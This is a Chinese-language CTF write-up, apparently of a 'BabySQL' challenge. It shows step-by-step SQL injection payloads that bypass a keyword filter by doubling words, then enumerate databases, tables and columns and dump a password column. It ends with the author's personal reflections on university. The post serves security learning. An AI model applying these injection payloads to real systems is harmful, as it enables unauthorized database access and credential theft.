今天來做一道sql注入題,做這類題之前一直沒有什么頭緒,經常是各種常用的陳述句胡亂注入一通,所以這次想來完整記錄一下整體思路,以供以后參考,
首先輸入
?username=admin' &password=13


發現有錯誤資訊回顯,可以判斷有此處注入點
接下來應該做的就是判斷過濾情況,這里我們利用password的回顯來判斷,


可以發現union,select都被過濾了,所有其他的陳述句、符號我們都通過這種方式測驗一遍,所以后面我們構造payload都可以先在password測驗,看過濾后陳述句是否正確,
接下來我們試試重寫繞過
?username=admin' &password=1 uunionnion sselectelect *#

可以看到成功繞過了,所以接下來我們基本是圍繞重寫繞過展開注入,同時發現 # 沒有被過濾
這里我們直接構造
?username=admin'# &password=123

登錄成功了,同時我們修改不同的密碼,回傳的password仍然不變,所以這應該是一段加密的密碼,
接下來嘗試聯合注入,
首先判斷欄位數,
?username=1' uunionnion sselectelect 1,2,3#&password=123

3個欄位成功登錄,同時回顯第2,3欄位的資料,
4個欄位則登錄失敗,可以知道只有三個欄位,(這里用order by 也可以判斷欄位數)
?username=1' uunionnion sselectelect 1,2,3,4#&password=123

接下來我們圍繞欄位2展開注入
?username=1' uunionnion sselectelect 1,SCHEMA_NAME,3 ffromrom infoorrmation_schema.SCHEMATA#&password=123
這里重寫繞過了or,from

我們得到了一個資料庫的名稱,這里我們可以用limit 來顯示不同行的資料庫名稱,
?username=1' uunionnion sselectelect 1,SCHEMA_NAME,3 ffromrom infoorrmation_schema.SCHEMATA limit 1,2#&password=123

當然這樣效率很慢,我們用GROUP_CONCAT函式把這一列的結果集合并到一起,并用逗號分隔
?username=1' uunionnion sselectelect 1,GROUP_CONCAT(SCHEMA_NAME),3 ffromrom infoorrmation_schema.SCHEMATA#&password=123

檢查元素查看重疊部分
接下來我們查看geek資料庫里表的資訊
?username=2' uunionnion sselectelect 1,GROUP_CONCAT(table_name),3 ffromrom infoorrmation_schema.tables WHWHEREERE table_schema='geek'#
&password=13

我們進去B4bsql表,拿列的資訊
?username=2' uunionnion sselectelect 1,GROUP_CONCAT(column_name),3 ffromrom infoorrmation_schema.columns WHWHEREERE table_schema='geek' anandd table_name='b4bsql'#
&password=13

最后我們拿password列的資訊
?username=2' uunionnion sselectelect 1,GROUP_CONCAT(passwoorrd),3 ffromrom b4bsql# &password=13

結尾寫給自己,,,
大一渾渾噩噩的過去了,有沒分細分專業、掌握不了未來方向的原因,有高考志愿隨大流填計算機的原因,昨天第二次的校隊選拔中再次失利,上次比我落后的同學,這次遠遠超過了我,看著學長意氣風發的朋友圈,我缺只能羨慕感嘆,我決定痛定思痛,大二下定決心選擇網安專業,從此專心于此,追隨大佬的腳步!!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294404.html
標籤:其他
上一篇:ThinkPHP5 檔案包含
